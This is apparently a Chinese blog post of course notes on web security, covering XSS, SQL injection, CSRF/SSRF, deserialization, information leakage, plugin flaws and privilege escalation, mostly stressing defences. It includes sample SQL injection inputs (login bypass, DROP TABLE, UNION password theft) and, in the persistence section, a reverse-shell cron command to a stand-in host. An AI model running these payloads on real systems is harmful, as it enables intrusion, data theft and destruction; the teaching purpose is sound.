编辑
2025-01-20
安全
00
请注意,本文编写于 110 天前,最后修改于 110 天前,其中某些信息可能已经过时。

目录

XSS攻击
1. XSS攻击的基本概念
2. XSS攻击的类型
3. XSS攻击的危害
4. XSS防护措施
5. 扩展思考
SQL注入
1. SQL注入的基本概念
2. SQL注入的攻击方式
3. SQL注入的危害
4. SQL注入的防护措施
6. 课后思考
CSRF-SSRF
1. CSRF(跨站请求伪造)攻击
2. CSRF的防护措施
3. SSRF(服务端请求伪造)攻击
4. SSRF的防护措施
5. 总结
6. 扩展思考
反序列化漏洞
1. 反序列化漏洞的基本概念
2. 反序列化漏洞的产生
3. 反序列化漏洞的危害
4. 反序列化漏洞的防护措施
5. 扩展思考
6. 课后思考
7. 总结
信息泄露
1. 信息泄漏的基本概念
2. 间接信息泄漏
3. 直接信息泄漏
4. 总结
5. 扩展思考
插件漏洞
1. 插件漏洞的基本概念
2. 插件漏洞的典型案例
3. 插件漏洞的防护体系
4. 插件漏洞防护的挑战
5. 总结
6. 扩展思考
权限提升持久化
权限提升和持久化:黑客为何能长期潜伏?
一、 权限提升:黑客如何获取更高权限?
二、 权限持久化:黑客如何长期潜伏?
三、 防护措施
四、 总结
思考题

XSS攻击

1. XSS攻击的基本概念

  • XSS(Cross-Site Scripting,跨站脚本攻击):攻击者通过在网页中注入恶意JavaScript脚本,使得这些脚本在用户的浏览器中执行,从而窃取用户信息或仿冒用户进行操作。
  • XSS攻击的核心:利用网页对用户输入的不充分验证,将恶意脚本注入到网页中,进而影响其他用户。

2. XSS攻击的类型

  • 反射型XSS

    • 原理:攻击者构造一个包含恶意脚本的URL,诱导用户点击该URL,服务器将恶意脚本反射回用户的浏览器并执行。
    • 特点:需要用户点击恶意链接,攻击通常是一次性的。
    • 示例:攻击者通过邮件或社交媒体发送恶意链接,用户点击后,恶意脚本在用户的浏览器中执行。
  • 基于DOM的XSS

    • 原理:攻击者通过修改页面的DOM结构,注入恶意脚本。与反射型XSS不同,基于DOM的XSS不需要经过服务器,攻击完全在客户端进行。
    • 特点:攻击不依赖于服务器,完全在浏览器端完成。
    • 示例:攻击者通过修改URL参数,使得页面中的JavaScript代码执行恶意操作。
  • 持久型XSS(存储型XSS)

    • 原理:攻击者将恶意脚本提交到服务器并存储在数据库中,当其他用户访问包含该恶意脚本的页面时,脚本会自动执行。
    • 特点:恶意脚本长期存储在服务器中,影响范围广,危害性大。
    • 示例:攻击者在评论区提交恶意脚本,其他用户查看评论时,恶意脚本自动执行。

3. XSS攻击的危害

  • 窃取Cookie:通过恶意脚本获取用户的Cookie信息,进而冒充用户进行操作。
  • 未授权操作:攻击者可以代替用户执行某些操作,如发送微博、修改个人信息等。
  • 按键记录和钓鱼:攻击者可以通过恶意脚本记录用户的键盘输入,或者伪造登录框进行钓鱼攻击。

4. XSS防护措施

  • 验证输入和输出

    • 核心原则:一切用户输入皆不可信。建议在输出时进行验证,而不是在输入时进行验证,以避免影响用户体验和业务逻辑。
    • 示例:在展示用户输入的内容时,对内容进行编码或过滤,防止恶意脚本的执行。
  • 编码

    • HTML编码:将特殊字符(如<>等)转换为HTML实体,防止浏览器将其解析为HTML标签。
    • URL编码:对URL参数进行编码,防止恶意脚本通过URL注入。
    • JavaScript编码:对JavaScript中的用户输入进行编码,防止恶意脚本的执行。
  • 检测和过滤

    • 白名单规则:只允许特定的、安全的字符或标签通过,拒绝其他所有内容。
    • 黑名单规则:禁止已知的危险字符或标签,但黑名单容易被绕过,因此不推荐使用。
    • 示例:在输入分数时,只允许整型变量通过,拒绝其他所有输入。
  • CSP(Content Security Policy,内容安全策略)

    • 原理:通过HTTP头部的Content-Security-Policy字段,限制浏览器只能加载指定域名的资源,防止恶意脚本的执行。
    • 示例:配置CSP规则,只允许加载本站的JavaScript文件,禁止加载外域的脚本。

5. 扩展思考

  • XSS攻击的传播:反射型XSS通常通过诱导用户点击恶意链接传播,而持久型XSS则通过存储在服务器中的恶意脚本影响大量用户。
  • 责任归属:XSS漏洞的出现通常是由于开发和运维人员对用户输入的验证不充分,因此安全事件的责任应由开发、运维和安全负责人共同承担。
  • 安全意识培训:除了技术手段,提升开发人员和用户的安全意识也是防止XSS攻击的重要环节。

image.png

SQL注入

这份PDF文件是《安全攻防技能30讲》课程的第七讲,主题是“SQL注入:明明设置了强密码,为什么还会被别人登录?”。以下是核心知识点的详细总结和扩展:

1. SQL注入的基本概念

  • SQL注入:攻击者通过在用户输入中插入恶意的SQL代码,篡改应用程序的SQL查询逻辑,从而执行未经授权的数据库操作。
  • SQL注入的核心:利用应用程序对用户输入的不充分验证,将恶意SQL代码注入到数据库查询中,进而影响数据库的行为。

2. SQL注入的攻击方式

  • 修改WHERE语句
    • 原理:攻击者通过构造特殊的输入(如"or ""="),使得SQL查询的WHERE条件恒为真,从而绕过身份验证。
    • 示例:攻击者输入"or ""="作为用户名和密码,使得SQL查询变为SELECT * FROM Users WHERE Username ="" AND Password ="" or ""="",从而绕过登录验证。
  • 执行任意SQL语句
    • 原理:攻击者通过在输入中插入分号(;),使得数据库执行多条SQL语句,从而执行任意的增删改查操作。
    • 示例:攻击者输入1;DROP TABLE Users,使得数据库执行SELECT * FROM Users WHERE UserId = 1; DROP TABLE Users,从而删除整个用户表。

3. SQL注入的危害

  • 绕过验证:攻击者可以通过SQL注入绕过身份验证,直接登录系统。
  • 任意篡改数据:攻击者可以执行任意的SQL语句,修改、删除或插入数据库中的数据,破坏数据的完整性。
  • 拖库:攻击者可以通过SQL注入获取数据库中的全部数据(如用户名、密码、手机号等隐私信息)。
  • 消耗资源:攻击者可以通过执行消耗资源的SQL语句(如死循环),使得数据库服务器无法响应其他请求,影响服务的可用性。

4. SQL注入的防护措施

  • 使用PreparedStatement

    • 原理:将SQL语句的解析和执行过程分开,避免用户输入影响SQL解析的结果。
    • 示例:在Java中使用PreparedStatement,通过占位符(?)来传递用户输入,确保用户输入不会被解析为SQL代码。
    • 代码示例
      java
      String sql = "SELECT * FROM Users WHERE UserId = ?"; PreparedStatement statement = connection.prepareStatement(sql); statement.setInt(1, userId); ResultSet results = statement.executeQuery();
  • 使用存储过程

    • 原理:将SQL语句的解析过程转移到数据库本身,避免用户输入影响SQL解析的结果。
    • 示例:在MySQL中创建存储过程,通过参数传递用户输入,确保用户输入不会被解析为SQL代码。
    • 代码示例
      sql
      DELIMITER $$ CREATE PROCEDURE select_user(IN p_id INTEGER) BEGIN SELECT * FROM Users WHERE UserId = p_id; END$$ DELIMITER ; CALL select_user(1);
  • 验证输入

    • 原理:对用户输入进行严格的验证和过滤,确保输入符合预期的格式。
    • 示例:对整数类型的输入进行整型转化(如Integer.parseInt),对字符串类型的输入进行关键字过滤(如过滤%_等SQL通配符)。
    • 代码示例
      java
      int userId = Integer.parseInt(request.getParameter("userId"));

5. 扩展思考

  • 盲注(Blind SQL Injection):在某些情况下,攻击者无法直接看到SQL查询的结果,但可以通过观察应用程序的行为(如响应时间、错误信息等)来推断数据库中的数据。盲注是一种更隐蔽的SQL注入攻击方式。
  • 自动化工具:攻击者可以使用自动化工具(如SQLmap)来检测和利用SQL注入漏洞,因此开发人员需要更加重视SQL注入的防护。
  • 安全意识培训:除了技术手段,提升开发人员的安全意识也是防止SQL注入的重要环节。开发人员应始终对用户输入保持警惕,避免直接将用户输入拼接到SQL查询中。

6. 课后思考

  • 如何获取其他字段:在已知SQL注入点的情况下,攻击者可以通过UNION注入来获取其他字段的信息。例如,攻击者可以构造如下SQL语句:

    sql
    SELECT Username FROM Users WHERE UserId = 1 UNION SELECT Password FROM Users

    通过UNION操作,攻击者可以将其他字段(如Password)的信息合并到查询结果中。

  • 责任归属:SQL注入漏洞的出现通常是由于开发人员对用户输入的验证不充分,因此安全事件的责任应由开发人员承担。开发人员应始终遵循安全编码规范,避免直接将用户输入拼接到SQL查询中。

image.png

CSRF-SSRF

这份PDF文件是《安全攻防技能30讲》课程的第八讲,主题是“CSRF/SSRF:为什么避免了XSS,还是‘被发送’了一条微博?”。以下是核心知识点的详细总结和扩展:

1. CSRF(跨站请求伪造)攻击

  • CSRF的基本概念:攻击者通过诱导用户访问恶意网页,利用用户在浏览器中保存的身份信息(如Cookie),伪造用户的请求,执行未经授权的操作。
  • CSRF的攻击流程
    1. 用户登录某个网站(如银行),浏览器保存了该网站的身份信息(如Cookie)。
    2. 用户访问了攻击者构造的恶意网页,该网页自动提交表单,向目标网站发起请求(如转账)。
    3. 由于浏览器会自动携带用户的Cookie,目标网站误认为这是用户的合法请求,执行了攻击者定义的操作(如转账)。
  • CSRF的危害
    • 绕过身份验证:攻击者可以伪造用户的请求,执行转账、修改密码等敏感操作。
    • 传播成本低:攻击者只需构造一个恶意网页,诱导用户访问即可,用户无法完全避免此类攻击。

2. CSRF的防护措施

  • CSRF Token
    • 原理:在每次用户请求页面时,服务器生成一个随机的CSRF Token,并将其嵌入到表单中。当用户提交表单时,服务器会验证该Token是否匹配,防止攻击者伪造请求。
    • 示例:在转账页面中,服务器生成一个随机的Token,用户提交表单时必须携带该Token,否则请求会被拒绝。
  • 二次验证
    • 原理:在进行敏感操作(如支付)时,要求用户输入额外的验证信息(如支付密码),确保请求是用户本人发起的。
    • 示例:银行在进行转账时,要求用户输入支付密码,防止攻击者通过CSRF攻击绕过身份验证。

3. SSRF(服务端请求伪造)攻击

  • SSRF的基本概念:攻击者通过构造恶意URL,诱使服务器向内部网络或其他服务发起请求,从而获取敏感信息或执行未授权操作。
  • SSRF的攻击流程
    1. 攻击者提交一个恶意URL(如内网地址),服务器代理该请求并返回结果。
    2. 由于服务器通常具有较高的权限,攻击者可以通过该请求访问内网资源或读取文件。
  • SSRF的危害
    • 内网探测:攻击者可以通过SSRF探测内网结构,获取内网服务的IP和端口信息。
    • 文件读取:攻击者可以通过SSRF读取服务器上的敏感文件(如/etc/passwd),获取系统信息或密钥。

4. SSRF的防护措施

  • 白名单限制
    • 原理:限制服务器只能代理特定域名或IP的请求,防止攻击者访问内网资源。
    • 示例:百度图片代理服务只允许代理baidu.com域名的图片,防止攻击者通过SSRF访问内网资源。
  • 协议和资源类型限制
    • 原理:限制服务器只能代理特定协议(如HTTP、HTTPS)和资源类型(如图片),防止攻击者读取文件或探测内网。
    • 示例:服务器只允许代理HTTP/HTTPS协议的图片资源,防止攻击者通过file://协议读取文件。
  • 请求端限制
    • 原理:为其他业务提供的服务接口尽量使用POST请求,避免GET请求,并对每次请求进行验证,防止攻击者通过SSRF发起未授权请求。
    • 示例:敏感服务接口使用POST请求,并要求每次请求都携带验证信息(如API Key),防止攻击者通过SSRF绕过验证。

5. 总结

  • CSRF:攻击者通过伪造用户的请求,执行未授权操作。防护措施包括使用CSRF Token和二次验证。
  • SSRF:攻击者通过构造恶意URL,诱使服务器发起内部请求,获取敏感信息或探测内网。防护措施包括白名单限制、协议和资源类型限制、请求端限制。

6. 扩展思考

  • CSRF与XSS的区别
    • XSS:攻击者通过注入恶意脚本,窃取用户信息或执行未授权操作,攻击发生在当前域名。
    • CSRF:攻击者通过伪造用户的请求,执行未授权操作,攻击发生在其他域名。
  • SSRF的内网穿透:SSRF攻击可以绕过内外网的隔离,攻击者可以通过SSRF访问内网资源,获取敏感信息或执行未授权操作。

image.png

反序列化漏洞

1. 反序列化漏洞的基本概念

  • 序列化:将对象转换为字符串或字节流的过程,通常用于数据的存储或传输。
  • 反序列化:将字符串或字节流转换回对象的过程,通常用于数据的读取或接收。
  • 反序列化漏洞:攻击者通过构造恶意的序列化数据,诱使应用在反序列化过程中执行攻击者定义的代码,从而控制应用或服务器。

2. 反序列化漏洞的产生

  • 漏洞原理:在反序列化过程中,应用会根据数据内容调用特定的方法或类。攻击者通过在序列化数据中嵌入恶意代码,控制反序列化过程中调用的方法,从而执行任意命令。
  • 示例:Java中的ObjectInputStream.readObject()方法在反序列化时会调用对象的readObject方法,攻击者可以通过构造恶意的序列化数据,控制反序列化过程中调用的方法链,最终执行系统命令(如Runtime.getRuntime().exec("open -a calculator"))。

3. 反序列化漏洞的危害

  • 任意命令执行:攻击者可以通过反序列化漏洞在服务器上执行任意命令,完全控制服务器。
  • 拒绝服务攻击:攻击者可以通过构造复杂的嵌套对象,使得反序列化过程中需要调用的方法数量呈指数级增长,耗尽服务器的CPU资源,导致服务不可用。

4. 反序列化漏洞的防护措施

  • 认证和签名

    • 原理:对序列化和反序列化的数据进行签名,确保数据的来源可信,防止攻击者发送恶意的序列化数据。
    • 示例:在存储或传输序列化数据时,加入数字签名,确保数据在反序列化前未被篡改。
  • 限制序列化和反序列化的类

    • 原理:通过黑名单或白名单机制,限制反序列化过程中可以使用的类,防止攻击者利用非常规类构造恶意调用链。
    • 示例:在Fastjson等序列化工具中,维护一个黑名单,禁止反序列化可能执行代码的类(如InvokerTransformer)。
  • RASP(Runtime Application Self-Protection,实时程序自我保护)

    • 原理:通过hook技术监控应用的关键函数调用,检测并拦截非正常的代码执行操作。
    • 示例:RASP工具可以在反序列化过程中检测到恶意调用链,并阻止其执行,防止反序列化漏洞被利用。

5. 扩展思考

  • 反序列化漏洞的广泛性:反序列化漏洞不仅存在于Java中,几乎所有支持序列化和反序列化的语言(如Python、PHP、.NET等)都可能存在类似漏洞。
  • RASP的优势与局限性:RASP能够在不修改代码的情况下提供全面的安全防护,但其性能损耗较大,不适合高并发场景。因此,RASP通常用于对安全性要求较高的场景,而非所有应用。

6. 课后思考

  • 如何防护反序列化漏洞:可以通过认证和签名、限制反序列化的类、使用RASP等手段来防护反序列化漏洞。
  • 责任归属:反序列化漏洞的出现通常是由于开发人员对序列化和反序列化过程的安全性考虑不足,因此安全事件的责任应由开发人员和安全负责人共同承担。

7. 总结

  • 反序列化漏洞:攻击者通过构造恶意的序列化数据,控制反序列化过程中调用的方法,从而执行任意命令或发起拒绝服务攻击。
  • 防护措施:通过认证和签名、限制反序列化的类、使用RASP等手段,可以有效防止反序列化漏洞的利用。

image.png

信息泄露

1. 信息泄漏的基本概念

  • 信息泄漏:指应用或系统在运行过程中,无意中将敏感信息(如代码逻辑、数据库结构、服务器配置等)暴露给外部用户或攻击者。
  • 信息泄漏的危害:黑客可以通过泄漏的信息推断出应用的代码逻辑、数据库结构等,进而发起有针对性的攻击(如SQL注入、SSRF等)。

2. 间接信息泄漏

  • 错误信息泄漏

    • 原理:应用在发生错误时,返回详细的错误信息(如SQL语法错误、堆栈跟踪等),黑客可以通过这些信息推断出后台的代码逻辑。
    • 示例:黑客在登录页面输入单引号,导致SQL语法错误,错误信息中显示了部分SQL语句,黑客可以推断出后台的SQL查询逻辑,进而发起SQL注入攻击。
    • 防护措施
      • 屏蔽错误信息:通过配置文件(如PHP中的display_errors = Off)或异常处理机制(如Java Spring中的@ExceptionHandler),避免将详细的错误信息返回给前端。
      • 黑盒检测:通过模拟错误请求,检测应用是否返回了敏感的错误信息。
  • 注释信息泄漏

    • 原理:前端代码中的注释信息可能包含敏感信息(如服务器IP、数据库地址、认证密码等),黑客可以通过查看前端代码获取这些信息。
    • 防护措施
      • 白盒检测:通过扫描线上代码,检测并删除包含敏感信息的注释。
      • 代码审查:在代码上线前,进行人工审查,确保没有敏感信息泄漏。
  • 返回信息泄漏

    • 原理:应用在返回信息时,过于明确地提示错误原因(如“用户名不存在”或“密码错误”),黑客可以通过这些信息推断出应用的逻辑。
    • 示例:在登录场景中,应用返回“用户名不存在”或“密码错误”,黑客可以通过不断尝试,推断出系统中存在的用户名,进而发起密码猜测攻击。
    • 防护措施
      • 模糊化返回信息:将错误信息统一为模糊提示(如“用户名或密码错误”),避免暴露过多的信息。

3. 直接信息泄漏

  • 版本管理工具的隐藏文件泄漏

    • 原理:版本管理工具(如SVN、Git)会在项目目录中生成隐藏文件(如.svn.git),这些文件包含了应用的版本信息,黑客可以通过这些文件获取完整的代码。
    • 防护措施
      • 删除隐藏文件:在代码上线前,确保删除版本管理工具生成的隐藏文件。
      • HTTP服务配置:在HTTP服务器中配置规则,禁止访问敏感路径(如.svn.git)。
  • 代码上传到公开平台

    • 原理:开发人员将代码上传到公开平台(如GitHub),导致代码泄漏。
    • 防护措施
      • 安全意识培训:加强员工的安全意识培训,避免将敏感代码上传到公开平台。
      • 定期巡检:使用工具(如Hawkeye)定期扫描GitHub等平台,检测是否有公司代码被公开。

4. 总结

  • 信息泄漏是黑客攻击的第一步,黑客通过泄漏的信息推断出应用的代码逻辑和架构,进而发起有针对性的攻击。
  • 防护措施
    • 屏蔽信息:通过技术手段屏蔽敏感信息,避免泄漏。
    • 代码检测:通过“白盒”和“黑盒”检测,发现并修复潜在的泄漏点。
    • 人工审计:加强代码审查和安全意识培训,避免非技术原因导致的信息泄漏。

5. 扩展思考

  • 旁路信息泄漏:除了直接和间接的信息泄漏,旁路信息泄漏(如通过服务器响应时间推断系统状态)也是一种常见的信息泄漏方式。开发人员应确保系统的响应时间不会暴露敏感信息。
  • 自动化工具:使用自动化工具(如Hawkeye)定期扫描公开平台,检测是否有公司代码被泄漏,及时采取措施。

image.png

插件漏洞

1. 插件漏洞的基本概念

  • 插件漏洞:指第三方插件、依赖库、工具或框架中存在的安全漏洞,即使开发者自己的代码是安全的,插件漏洞仍然可能导致应用被攻击。
  • 插件漏洞的危害:插件漏洞不仅可能破坏插件本身的功能,还可能被黑客利用作为跳板,控制整个应用甚至服务器。

2. 插件漏洞的典型案例

  • 脏牛漏洞(CVE-2016-5195):Linux系统中的提权漏洞,允许低权限用户获取高权限,漏洞存在了9年才被发现。
  • 心脏滴血漏洞(CVE-2014-0160):OpenSSL中的漏洞,允许攻击者读取系统内存中的数据,影响了一半以上的HTTPS站点。
  • Structs 2漏洞(CVE-2017-5638):导致Equifax泄漏了1.4亿用户的敏感信息,影响了近一半的美国人口。

3. 插件漏洞的防护体系

  • 第一步:整理插件,剔除无用插件

    • 原理:通过插件管理工具(如Maven Dependency Plugin)分析应用的插件依赖树,找出并删除未使用的插件,减少插件漏洞的可能性。
    • 示例:使用mvn dependency:analyze命令,找出未使用的插件(如JUnit、Logback等),并进行删除。
  • 第二步:管理插件补丁更新

    • 原理:通过插件管理工具(如Version Maven Plugin)检查插件的更新状态,及时应用安全补丁。
    • 示例:使用mvn versions:display-dependency-updates命令,检查插件是否有新版本,并手动更新插件。
    • 虚拟补丁:在不更新插件的情况下,通过防火墙或IPS等工具拦截针对插件漏洞的攻击流量。
  • 第三步:使用公开漏洞库

    • 原理:通过公开漏洞库(如CVE、CWE、CVSS、NVD、CNVD等)查询插件是否存在已知漏洞,并及时修复。
    • 示例:使用OWASP Dependency-Check工具,将工程内的插件与公开漏洞库进行比对,生成漏洞报告,发现并修复高危漏洞(如Commons-Collections 3.2.1的漏洞)。

4. 插件漏洞防护的挑战

  • 补丁可用性:并非所有插件漏洞都有及时的安全补丁,部分漏洞可能长期无法修复。
  • 覆盖面不全:部分语言的插件分析工具不够完善,导致无法全面掌握所有插件的漏洞情况。
  • 更新时间延迟:补丁管理通常按月或季度进行集中更新,期间应用可能处于无保护状态。

5. 总结

  • 插件漏洞是应用安全中的重要威胁,即使开发者自己的代码是安全的,插件漏洞仍然可能导致应用被攻击。
  • 防护措施
    • 整理插件:通过插件管理工具分析依赖树,删除未使用的插件。
    • 管理补丁更新:及时应用插件的安全补丁,使用虚拟补丁拦截攻击流量。
    • 使用公开漏洞库:通过工具(如OWASP Dependency-Check)检测插件是否存在已知漏洞,并及时修复。

6. 扩展思考

  • 自动化工具:使用自动化工具(如OWASP Dependency-Check、Retire.js等)定期扫描插件漏洞,确保应用的安全性。
  • 安全意识培训:加强开发人员的安全意识,确保插件漏洞的防护措施得到有效执行。

image.png

权限提升持久化

权限提升和持久化:黑客为何能长期潜伏?

一、 权限提升:黑客如何获取更高权限?

1. 权限提升的定义:

  • 概念: 黑客通过漏洞攻击或弱密码等方式,获取其他用户的权限,并利用新身份进行非法操作。
  • 目的: 不断扩大自身权限,最终控制整个系统。

2. 权限提升的分类:

  • 水平提升:
    • 定义: 黑客获取了与原用户权限等级相同的其他用户的权限。
    • 案例: 黑客通过破解密码登录他人账号,查看个人信息或进行交易转账。
  • 垂直提升:
    • 定义: 黑客获取了比原用户权限等级更高的权限,如管理员或系统ROOT权限。
    • 危害:
      • 窃取大量数据。
      • 禁用审计功能,删除日志,隐匿行踪。
      • 造成更严重的破坏。

3. 权限提升的方法:

  • 窃取身份:
    • 利用无认证、弱密钥、认证信息泄漏或认证环节破解等方式,登录他人账号。
  • 利用漏洞获得权限:
    • 已公开漏洞: 如“脏牛”漏洞。
    • 0 day 漏洞: 黑客掌握但未被公开的漏洞。
    • 案例分析:
      • 黑客利用 SSRF 漏洞进入内网,查看内网请求响应,获取服务器代码。
      • 分析代码发现 SQL 注入漏洞,执行命令进行 SSH 扫描。
      • 使用弱密码“root/123456”获取服务器 ROOT 权限。

二、 权限持久化:黑客如何长期潜伏?

1. “后门”的概念:

  • 黑客在获取高级权限后,在系统中留下的隐藏进程,允许其无需正常流程即可再次进入系统。

2. “后门”的作用:

  • 为黑客提供长期保持高权限的通道,使其能够长时间潜伏和攻击。

3. “后门”的常见形式:

  • 脚本:
    • 黑客在服务器上留下脚本,例如每分钟执行一次 bash -i >& /dev/tcp/hacker.com/8080 0>&1,使其能够通过监听端口获取命令执行权限。
  • 木马(Trojan):
    • 伪装成正常应用,监控用户操作,如“灰鸽子”木马。
  • Rootkit:
    • 驻扎于系统内核,修改内核逻辑,破坏杀毒软件等安全进程,难以被检测和清除。
  • WebShell:
    • 黑客将包含恶意代码的脚本文件(如 PHP 文件)上传到 Web 服务目录,通过 POST 参数远程操控服务器。

4. “后门”的持久化:

  • 定时任务: 将“后门”执行命令添加到 crontab 配置中。
  • 开机启动项: 将“后门”执行命令添加到 inittab、rc.local 等配置中。
  • 常驻进程:
    • WebShell 依赖于 Web 服务,只要服务可用,“后门”就一直可用。
    • Rootkit 篡改内核初始函数进行自启动。

三、 防护措施

1. 最小权限原则:

  • 概念: 为每个用户和进程分配其所需的最小权限。
  • 实现方式:
    • 配置访问控制策略,例如在 Linux 中为特定进程分配单独的角色权限。
    • 限制用户权限,阻止其执行高危操作。
  • 作用: 限制黑客权限提升的收益,甚至阻断权限提升的可能性。

2. 入侵检测系统(IDS):

  • 原理: 通过分析正常用户和黑客在网络层或主机层的行为差异,识别黑客攻击。
    • 例如,正常用户不会扫描内网,而黑客必须进行扫描探测。
  • 作用: 及时发现黑客的异常行为。

3. 其他防护建议:

  • 文件服务器安全:
    • 对上传文件类型进行白名单校验(魔数校验)。
    • 对文件进行加密存储。
    • 限制文件上传目录,避免将文件存储在 Web 服务目录中。
  • 日志分析:
    • 定期分析日志,检测高危操作端口的异常连接。
    • 寻找权限提升的蛛丝马迹,例如横向扩展的迹象。

四、 总结

  • 黑客通过权限提升和持久化来扩大攻击范围并长期潜伏。
  • 最小权限原则和 IDS 是有效的防护手段。
  • 定期审计和日志分析有助于及时发现潜在威胁。
  • 理解攻击原理和防护措施对于构建安全系统至关重要。

思考题

问题: 拥有服务器普通用户权限后,黑客能进行哪些操作?这些操作对应用和公司安全产生哪些影响?

回答:

  • 代码反编译: 获取代码后,黑客可以分析代码中的漏洞,为进一步攻击做准备。
  • 内网探测: 扫描内网服务器,寻找更多可利用的漏洞或目标。
  • 权限提升: 利用代码漏洞或弱密码获取管理员权限。
  • 数据窃取: 获取存储的用户名和密码,窃取所有用户数据。
  • 植入后门: 植入 Rootkit 等后门,方便后续入侵。
  • 破坏系统: 破坏系统稳定性,篡改数据,造成业务中断。

这些操作会严重威胁应用和公司的安全,导致数据泄露、财产损失和声誉受损。

本文作者:yowayimono

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!